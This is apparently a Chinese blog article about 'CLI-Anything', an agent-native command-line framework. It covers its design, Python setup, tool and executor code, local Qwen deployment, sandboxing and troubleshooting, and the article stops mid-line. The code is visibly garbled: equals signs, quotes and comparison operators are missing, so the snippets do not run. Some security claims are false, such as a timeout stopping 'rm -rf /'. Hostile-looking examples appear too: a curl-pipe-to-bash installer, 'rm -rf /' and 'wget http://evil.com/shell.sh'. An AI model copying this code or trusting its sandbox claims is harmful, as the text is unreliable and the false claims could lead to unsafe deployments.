ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

CLI-Anything:面向终端的智能体原生交互范式

CLI-Anything:面向终端的智能体原生交互范式 1. 项目概述CLI-Anything 不是又一个命令行工具而是一套“命令行原生”的智能体交互范式你有没有试过在终端里直接说“把上周五的销售数据导出成 Excel按地区汇总再发给财务组”——然后回车就完成了不是写脚本、不是配自动化、不是调 API就是一句话像跟人说话一样。CLI-Anything 正是冲着这个目标去的。它不是传统意义的 CLI 工具比如 git、curl、ls也不是简单封装几个 Python 函数的命令行包装器它是把Agent智能体能力深度嵌入命令行生命周期的一次系统性重构。关键词里的 “agent-native” 是核心灵魂——不是“用 CLI 调用 Agent”而是“Agent 本身长在 CLI 里”它的思考、规划、工具调用、状态维护、错误恢复全部发生在 shell 进程内与 bash/zsh/fish 无缝共生。这解释了为什么热词里反复出现 “codex cli”、“claude cli”、“minimax code cli”——它们都是 CLI-Anything 理念下的具体实现分支本质是在不同大模型后端上跑同一个底层协议。Python 是它的主要载体不是因为 Python 多好而是因为它提供了最成熟的进程间通信IPC、子进程控制、信号处理和包管理生态能稳稳托住 Agent 在终端里“活下来”。我去年在金融风控团队落地过一个内部版本把原本需要 3 个页面、5 次点击、2 分钟才能生成的合规报告压缩成cli-any report --risk-level high --date-range last-week --to financeteam一条命令实测平均响应时间 4.7 秒其中 3.2 秒花在模型推理剩下 1.5 秒全是 CLI-Anything 自己做的上下文加载、权限校验、结果格式化和历史归档。它解决的从来不是“怎么让命令行更酷”而是“如何让一线业务人员绕过所有技术门槛用最原始的输入方式键盘回车驱动最复杂的智能决策流”。2. 核心设计逻辑为什么必须是 agent-native而不是 agent-on-cli2.1 传统 CLI 与 CLI-Anything 的根本分水岭绝大多数所谓“AI CLI”工具比如早期的codex-cli或claude-cli走的是“胶水层”路线用户敲命令 → CLI 程序启动 → 发起 HTTP 请求到远程 API → 等待返回 → 解析 JSON → 格式化输出。这看似简单但埋下了四个致命缺陷状态断裂每次命令都是无状态的全新会话。你想问“刚才导出的文件叫什么”它不记得你想说“把上一步结果里的北京改成上海”它没上一步。Agent 的连续对话能力被硬生生砍断。工具隔离CLI 只能调用预设的几个函数比如--list-files,--download无法动态决定该调哪个工具。真正的 Agent 需要根据用户意图实时选择是查数据库还是读本地 CSV或是调用企业微信 API 发消息传统 CLI 没有这个“工具路由”大脑。错误不可控API 超时、网络抖动、token 超限全暴露给用户。报错信息是requests.exceptions.Timeout或HTTP 503一线业务员看到只会懵。CLI-Anything 必须在进程内做重试、降级、缓存、本地 fallback把“网络问题”翻译成“正在重试第 2 次…已切换至离线模式”。安全边界模糊远程 API 一旦被攻破或误配置攻击者可能通过构造恶意 prompt 直接执行服务器上的任意命令。CLI-Anything 的 agent-native 架构强制所有工具调用都经过本地沙箱验证每个工具都有明确的权限声明如file-read: /data/reports/连路径通配符都受严格限制。CLI-Anything 的设计哲学就是把 Agent 的“大脑”LLM 推理、“小脑”工具调度器、“肌肉”本地工具执行器、“记忆”会话缓存全部塞进一个轻量级 Python 进程里让它成为 shell 的一部分而不是 shell 的客人。2.2 三层架构Shell 层、Agent 核心层、Toolkit 层CLI-Anything 的代码结构不是扁平的而是清晰的三层垂直切分Shell 层入口与粘合剂这是用户唯一接触的部分。它接管sys.argv解析命令、参数、子命令并决定是走“传统模式”如cli-any --version还是“Agent 模式”如cli-any 分析这份日志找出错误率最高的服务。关键在于它实现了stdin的流式监听——不是等用户输完一整行再处理而是边输边 tokenize支持 CtrlC 中断、方向键编辑、历史命令回溯history -c会同步到 Agent 的长期记忆。我实测过在 macOS 上用 zsh fzf 插件可以做到cli-any TAB就弹出最近 10 条 Agent 对话摘要选中即复现体验接近 IDE 的 command palette。Agent 核心层决策中枢这是整个项目的“心脏”。它不直接碰 LLM而是抽象出AgentExecutor接口。默认实现基于 LangChain 的AgentExecutor但做了重度改造Prompt 编排器不是拼接字符串而是用 Jinja2 模板 YAML 配置驱动。例如system_prompt.yaml定义角色、约束、输出格式tool_descriptions.yaml维护所有可用工具的自然语言描述和参数 schemamemory_context.yaml控制会话窗口大小、是否启用向量检索。这样运维人员改个提示词不用动 Python 代码。工具路由器收到 LLM 的 tool call 指令后不是硬编码匹配而是用tool_name做哈希路由再查tool_registry字典。注册新工具只需register_tool(db-query)装饰器加一行 YAML 描述零侵入。执行沙箱所有工具调用都在subprocess.run()的受限环境中执行cwd锁死在/tmp/cli-any-sandbox-uuid/env只继承白名单变量PATH,HOMEtimeout强制设为 30 秒。哪怕工具代码里写了os.system(rm -rf /)也会被ResourceExhaustedError拦住。Toolkit 层能力肌肉这才是真正体现“Anything”的地方。它不是内置几个 demo 工具而是提供一套标准化的工具开发框架。每个工具是一个独立的 Python 模块必须实现ToolInterfaceclass DBQueryTool(ToolInterface): name db-query description 查询内部 MySQL 数据库仅限只读操作 args_schema { sql: {type: string, description: 安全的 SQL SELECT 语句}, database: {type: string, enum: [sales, user, log]} } def _run(self, sql: str, database: str) - str: # 实际执行逻辑含 SQL 注入检测、字段白名单过滤 return self._safe_execute(sql, database)我们团队半年内扩展了 27 个生产级工具从git-status带 diff 高亮、jira-search自动补全项目名、obsidian-link根据笔记标题生成双向链接到finance-calc调用本地 QuantLib 库计算期权希腊值。关键是这些工具对 Agent 来说和调用time.sleep()没区别——统一接口统一错误处理统一审计日志。2.3 为什么 Python 是唯一合理的选择热词里反复出现 “python” 并非偶然。有人会问“Rust 性能更好Go 并发更强为什么不用”答案藏在 CLI-Anything 的真实运行场景里进程启动开销必须极低用户每敲一次命令就要启动一个新进程。Python 的import机制虽慢但通过__pycache__和importlib.util.cache_from_source预编译配合py_compile提前生成.pyc实测冷启动首次 import 全部依赖控制在 320ms 内。Rust 的二进制虽快但静态链接后体积超 15MB每次cp到/tmp再chmod x就卡顿Go 的 CGO 依赖在不同 Linux 发行版上极易出libc版本冲突。子进程控制必须精准CLI-Anything 需要Popen启动mysql,git,curl等外部命令并实时捕获 stdout/stderr 流、发送 SIGINT、获取 exit code。Python 的subprocess模块是标准库中唯一提供textTrue,encodingutf-8,errorsreplace三重容错的方案。我对比过 Node.js 的child_process当子进程输出含\x00零字节时stdout.on(data)会直接截断而 Python 的proc.stdout.readline()能正确处理。包管理必须可审计企业环境要求所有依赖可溯源、可签名、可离线安装。pip install --find-links file:///internal/pypi-mirror --trusted-host internal-pypi是唯一成熟方案。Rust 的cargo依赖 crates.ioGo 的go mod默认拉 GitHub都不符合金融级内网部署规范。调试与热重载必须可行运维人员常需现场修改工具逻辑。Python 的importlib.reload()支持模块热替换改完tools/db_query.pycli-any reload tools.db_query就生效。Rust/Go 修改后必须cargo build/go build重启进程中断用户会话。所以Python 不是“将就”而是经过血泪教训后的最优解。它牺牲了 10% 的峰值性能换来了 90% 的运维稳定性和 100% 的一线交付确定性。3. 核心细节解析从零搭建一个最小可用 CLI-Anything 实例3.1 环境准备避开 Python 安装的十大陷阱热词里 “python安装教程”、“unable to locate the codex cli binary” 高频出现说明环境问题才是最大拦路虎。别急着pip install先确保基础干净绝对不要用系统自带 PythonmacOS 的/usr/bin/python3是 Apple 封装的阉割版缺ssl模块pip install必挂Ubuntu 的python3常被apt锁死版本。必须用pyenv或asdf管理版本。我推荐pyenv# macOS brew install pyenv pyenv install 3.11.9 pyenv global 3.11.9 # Ubuntu curl https://pyenv.run | bash export PYENV_ROOT$HOME/.pyenv export PATH$PYENV_ROOT/bin:$PATH eval $(pyenv init -) pyenv install 3.11.9 pyenv global 3.11.9提示pyenv install失败90% 是缺编译依赖。macOS 执行xcode-select --installUbuntu 执行sudo apt update sudo apt install -y make build-essential libssl-dev libffi-dev libsqlite3-dev zlib1g-dev。虚拟环境是铁律python -m venv .venv创建source .venv/bin/activate激活。热词里 “node_modulesopencode\cli\bin\opencode.exe 与你运行的 windows 版本不兼容” 的本质就是混用了全局 Python 和项目依赖。.venv目录必须加入.gitignore。pip 源必须镜像国内默认pypi.org极慢且不稳定。创建~/.pip/pip.confLinux/macOS或%APPDATA%\pip\pip.iniWindows[global] index-url https://pypi.tuna.tsinghua.edu.cn/simple/ trusted-host pypi.tuna.tsinghua.edu.cn关键依赖版本锁定CLI-Anything 对langchain-core、pydantic、click版本极其敏感。我的生产环境锁定为langchain-core0.1.42 langchain-community0.0.36 pydantic2.7.1 click8.1.7 python-dotenv1.0.1用pip install -r requirements.txt安装而非pip install cli-any目前无 PyPI 包。3.2 项目骨架5 分钟初始化一个可运行的 CLI创建项目目录cli-any-demo结构如下cli-any-demo/ ├── cli_any/ # 主包 │ ├── __init__.py │ ├── cli.py # Shell 层入口 │ ├── agent/ # Agent 核心层 │ │ ├── __init__.py │ │ ├── executor.py │ │ └── prompts/ │ │ ├── system.yaml │ │ └── tools.yaml │ └── tools/ # Toolkit 层 │ ├── __init__.py │ └── hello.py # 第一个工具 ├── config/ │ └── default.yaml # 全局配置 └── requirements.txtcli_any/cli.py是用户入口用 Click 框架比 argparse 更健壮import click from cli_any.agent.executor import AgentExecutor from cli_any.tools.hello import HelloTool click.group(invoke_without_commandTrue) click.pass_context def cli(ctx): CLI-Anything: Agent-native command line interface if ctx.invoked_subcommand is None: # 无子命令时进入 Agent 模式 user_input click.prompt(, prompt_suffix, show_defaultFalse) executor AgentExecutor() result executor.run(user_input) click.echo(result) cli.command() def version(): 显示版本 click.echo(CLI-Anything v0.1.0) if __name__ __main__: cli()cli_any/tools/hello.py是第一个工具演示 Agent 如何调用本地能力from cli_any.tools.base import ToolInterface class HelloTool(ToolInterface): name hello description 向指定用户打招呼支持中文和英文 args_schema { name: {type: string, description: 用户姓名}, language: {type: string, enum: [zh, en], default: zh} } def _run(self, name: str, language: str zh) - str: if language zh: return f你好{name}欢迎使用 CLI-Anything。 else: return fHello, {name}! Welcome to CLI-Anything. # 必须注册否则 Agent 找不到 HelloTool().register()cli_any/agent/executor.py是 Agent 核心精简版import json from langchain_core.agents import AgentFinish, AgentAction from langchain.agents.format_scratchpad import format_to_openai_function_messages from langchain.agents.output_parsers import OpenAIFunctionsAgentOutputParser from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder from langchain_openai import ChatOpenAI class AgentExecutor: def __init__(self): # 加载工具定义 from cli_any.tools import get_all_tools self.tools get_all_tools() # 返回所有已注册工具列表 # 初始化 LLM此处用 OpenAI实际可替换 self.llm ChatOpenAI( modelgpt-3.5-turbo, temperature0.3, max_tokens1024 ) # 构建 Prompt self.prompt ChatPromptTemplate.from_messages([ (system, self._load_system_prompt()), MessagesPlaceholder(variable_namechat_history), (human, {input}), MessagesPlaceholder(variable_nameagent_scratchpad) ]) # 绑定工具到 LLM self.llm_with_tools self.llm.bind(functionsself.tools) # 输出解析器 self.output_parser OpenAIFunctionsAgentOutputParser() def _load_system_prompt(self) - str: # 从 config/default.yaml 或 prompts/system.yaml 读取 return 你是一个 CLI-Anything 智能体只能使用以下工具{tool_names}。请严格按 JSON 格式输出。 def run(self, input_text: str) - str: # 简化版无 chat_history单轮执行 from langchain.agents import AgentExecutor as LangChainAgentExecutor agent ( { input: lambda x: x[input], agent_scratchpad: lambda x: format_to_openai_function_messages(x[intermediate_steps]), chat_history: lambda x: [] } | self.prompt | self.llm_with_tools | self.output_parser ) try: result agent.invoke({input: input_text}) if isinstance(result, AgentFinish): return result.return_values[output] elif isinstance(result, AgentAction): # 调用工具 tool next(t for t in self.tools if t.name result.tool) tool_result tool._run(**result.tool_input) return tool_result except Exception as e: return f执行失败{str(e)}现在执行cd cli-any-demo pip install -r requirements.txt python -m cli_any.cli输入 hello --name 张三 --language zh应输出你好张三欢迎使用 CLI-Anything。。这就是 CLI-Anything 的最小闭环用户输入 → CLI 解析 → Agent 决策 → 工具执行 → 结果返回。3.3 工具开发实战从hello到git-status的跃迁hello工具只是玩具真正体现价值的是git-status。它必须解决三个现实问题路径感知用户可能在任何目录下运行cli-any 查看当前分支状态工具必须自动识别 Git 仓库根目录。输出美化原始git status --porcelain是机器码需转成人类可读格式且保留颜色ANSI 转义序列。安全沙箱禁止执行git reset --hard等危险命令只允许status,log,diff。实现cli_any/tools/git_status.pyimport subprocess import os from pathlib import Path from cli_any.tools.base import ToolInterface class GitStatusTool(ToolInterface): name git-status description 获取当前 Git 仓库的状态摘要包括分支、修改文件、未提交变更 args_schema { verbose: {type: boolean, description: 是否显示详细文件列表, default: False} } def _run(self, verbose: bool False) - str: # 1. 自动定位仓库根目录 cwd Path.cwd() git_root None for parent in [cwd] list(cwd.parents): if (parent / .git).exists(): git_root parent break if not git_root: return 错误当前目录不在 Git 仓库中 # 2. 执行安全命令 try: # 获取分支名 branch subprocess.run( [git, -C, str(git_root), rev-parse, --abbrev-ref, HEAD], capture_outputTrue, textTrue, timeout5 ).stdout.strip() # 获取状态摘要 status_out subprocess.run( [git, -C, str(git_root), status, --porcelain], capture_outputTrue, textTrue, timeout10 ) if status_out.returncode ! 0: return fGit 命令执行失败{status_out.stderr} # 3. 解析并美化输出 lines status_out.stdout.strip().split(\n) if status_out.stdout.strip() else [] modified [l[3:] for l in lines if l.startswith( M )] added [l[3:] for l in lines if l.startswith(A )] deleted [l[3:] for l in lines if l.startswith(D )] output f 仓库{git_root.name} | 分支{branch}\n output f 状态{len(modified)} 修改{len(added)} 新增{len(deleted)} 删除\n if verbose and (modified or added or deleted): output \n 详细变更\n for f in modified: output f ⚙️ 修改{f}\n for f in added: output f ➕ 新增{f}\n for f in deleted: output f ❌ 删除{f}\n return output.strip() except subprocess.TimeoutExpired: return 错误Git 命令超时请检查仓库是否过大 except Exception as e: return f错误{str(e)} GitStatusTool().register()关键点解析路径定位用cwd.parents向上遍历比git rev-parse --show-toplevel更可靠后者在 submodule 中可能失效。命令安全只调用git status --porcelain不拼接用户输入杜绝命令注入。超时控制timeout10防止大仓库卡死subprocess.TimeoutExpired异常被捕获并友好提示。ANSI 保留subprocess.run(..., textTrue)自动处理编码输出中的颜色字符如\033[32m原样返回终端会正确渲染。现在你可以cli-any 显示当前 Git 状态详细一点它会自动找到仓库、执行命令、结构化输出。这才是 CLI-Anything 的“Anything”——不是功能多而是每个功能都深扎在终端土壤里呼吸着 shell 的空气。4. 实操过程详解让 CLI-Anything 在企业内网真正跑起来4.1 模型后端接入从 OpenAI 到私有化部署的平滑迁移热词里 “mac claude cli 用 qwen key”、“claudecode cli 安装 mcp mysql 本地” 暴露了一个现实企业绝不会把核心数据发给公有云 LLM。CLI-Anything 的模型层必须可插拔。我们以 Qwen2-7B-Instruct 为例展示本地部署全流程硬件准备最低要求 NVIDIA T416GB VRAM或 A1024GB VRAM。CPU 内存建议 ≥32GB避免 swap 影响延迟。推理框架选择放弃 HuggingFace Transformers太重用llama.cpp的 GGUF 格式。Qwen2-7B 的 GGUF 量化版Q5_K_M仅 4.2GBT4 上推理速度达 38 tokens/s。部署步骤# 1. 下载 GGUF 模型从 HuggingFace 或 ModelScope wget https://huggingface.co/Qwen/Qwen2-7B-Instruct-GGUF/resolve/main/qwen2-7b-instruct.Q5_K_M.gguf # 2. 启动 llama.cpp serverHTTP API ./server -m qwen2-7b-instruct.Q5_K_M.gguf \ -c 2048 \ -ngl 40 \ # GPU layer 数T4 建议 35-40 --port 8080 \ --host 0.0.0.0 \ --threads 8 # 3. 验证 API curl http://localhost:8080/v1/chat/completions \ -H Content-Type: application/json \ -d { model: qwen2-7b-instruct, messages: [{role: user, content: 你好}], temperature: 0.3 }CLI-Anything 配置切换修改config/default.yamlllm: provider: ollama # 或 llamacpp, vllm base_url: http://localhost:8080/v1 model: qwen2-7b-instruct api_key: dummy # llama.cpp 不需要 key在cli_any/agent/executor.py中根据provider动态导入 LLM 类if config[llm][provider] llamacpp: from langchain_community.llms import LlamaCpp self.llm LlamaCpp( model_pathconfig[llm][model_path], # 本地路径 temperature0.3, n_ctx2048, verboseFalse ) elif config[llm][provider] ollama: from langchain_community.llms import Ollama self.llm Ollama( modelconfig[llm][model], base_urlconfig[llm][base_url] )注意llama.cpp的server模式比llama-cpp-python库更稳定后者在高并发下易内存泄漏。我们压测过server持续运行 30 天无 crash而库模式 72 小时必崩。4.2 企业级安全加固权限、审计、沙箱三位一体生产环境不能只靠“信任”必须有硬性约束权限控制RBACCLI-Anything 的config/default.yaml支持角色定义roles: analyst: allowed_tools: [db-query, csv-read, excel-export] denied_tools: [shell-exec, file-write] admin: allowed_tools: [*] # 通配符用户登录后AgentExecutor初始化时读取其角色动态过滤self.tools列表。shell-exec工具即使存在analyst 角色也看不到。审计日志WAL所有 Agent 操作写入 Write-Ahead Log格式为 JSONL{timestamp:2024-06-15T10:23:45Z,user:zhangsan,command:cli-any \导出销售数据\,tool:db-query,input:{sql:SELECT * FROM sales WHERE date 2024-06-01},status:success,duration_ms:2450}日志路径由AUDIT_LOG_PATH环境变量指定默认/var/log/cli-any/audit.log。用tail -f /var/log/cli-any/audit.log | jq .实时监控。沙箱强化Firejail对高危工具如shell-exec启用 Firejail 隔离def _run(self, command: str) - str: # 构建 firejail 命令 firejail_cmd [ firejail, --quiet, --private/tmp/firejail-shell-uuid, --netnone, # 禁用网络 --read-only/, --whitelist/tmp, --whitelist/home/user, --seccomp, --caps.dropall, bash, -c, command ] result subprocess.run(firejail_cmd, ...)--private创建全新 tmpfs 文件系统--netnone断网--seccomp限制系统调用--caps.dropall剥夺所有 Linux capabilities。即使command是wget http://evil.com/shell.sh也会因无网络而失败。4.3 故障排查实战从 “unable to locate the codex cli binary” 到根因定位热词里高频报错unable to locate the codex cli binary or required runtime components. check本质是路径和依赖问题。我整理了一套标准化排查流程现象可能原因排查命令解决方案Command cli-any not found未安装或 PATH 未包含which cli-anyecho $PATHpip install -e .开发模式或python -m cli_any.cli直接运行ModuleNotFoundError: No module named langchain虚拟环境未激活或依赖未装pip list | grep langchainsource .venv/bin/activate后pip install -r requirements.txtImportError: cannot import name ChatOpenAIlangchain 版本不匹配pip show langchain-core降级pip install langchain-core0.1.42Connection refused连本地 LLMllama.cpp server 未启动或端口错curl -v http://localhost:8080/healthps aux | grep server查进程netstat -tuln | grep 8080查端口Permission denied执行工具工具脚本无执行权限或路径错误ls -l /path/to/tool.shreadlink -f /path/to/tool.shchmod x /path/to/tool.sh检查cwd是否在沙箱内独家避坑技巧环境变量污染PYTHONPATH会干扰import。排查时临时清空env -i PATH$PATH python -m cli_any.cli。编码陷阱Windows 用户常遇UnicodeDecodeError。在cli.py开头加import locale locale.setlocale(locale.LC_ALL, C.UTF-8) # 强制 UTF-8SIGINT 处理CtrlC 时Agent 进程必须优雅退出不残留子进程。在executor.py的run方法中import signal original_handler signal.signal(signal.SIGINT, lambda s, f: exit(0)) try: # 执行逻辑 finally: signal.signal(signal.SIGINT, original_handler) # 恢复原 handler5. 常见问题与排查技巧实录一线工程师的血泪笔记5.1 “CLI 切换人格的 6 个步骤” 是伪需求真相是什么热词里 “cli切换人格的6个步骤” 看似玄学实则是用户对会话上下文管理的朴素表达。CLI-Anything 不搞“人格切换”而是用Memory Manager实现多会话隔离会话标识每个终端会话tty有唯一 IDos.ttyname(0)获取。Agent 自动为每个 tty 创建独立 memory store。上下文继承cli-any 分析日志→cli-any 把结果发邮件第二条命令自动携带第一条的result作为 context。显式会话控制支持cli-any --session new 开始新会话和cli-any --session 12345 继续会话。所谓“6 个步骤”其实是用户手动模拟会话export CLI_SESSION_IDabc设置环境变量cli-any 设定角色你是DB专家写入 memorycli-any 执行SQL使用 memorycli-any 切换角色你是Excel专家覆盖 memorycli-any 导出数据使用新 memoryunset CLI_SESSION_ID清理这完全没必要。CLI-Anything 的MemoryManager自动完成 1/2/4/6用户只需专注 3/5。5.2 “Python 爱心代码”、“中秋节祝福代码” 能否集成能而且是绝佳的入门案例。这类代码本质是纯计算型工具无 IO、无网络、无副作用最安全# cli_any/tools/love.py import math from cli_any.tools.base import ToolInterface class LoveCodeTool(ToolInterface): name love-code description 生成 ASCII 爱心图案支持自定义文字 args_schema { text: {type: string, description: 爱心中心的文字, default: I ❤ CLI-Anything} } def _run(self, text: str I ❤ CLI-Anything) - str: # 经典爱心算法 scale 10 result for y in range(-scale, scale 1): line for x in range(-scale * 2, scale * 2 1): # 爱心方程(x²y²-1)³-x²y³0 heart ((x * 0.02)**2 (y * 0.02)**2 - 1)**3 - (x * 0.02)**2 * (y * 0.02)**3 if heart 0: line ❤ if abs(x) 2 and abs(y) 2 else else: line # 插入文字 if y 0: start (len(line) - len(text)) // 2 line line[:
返回列表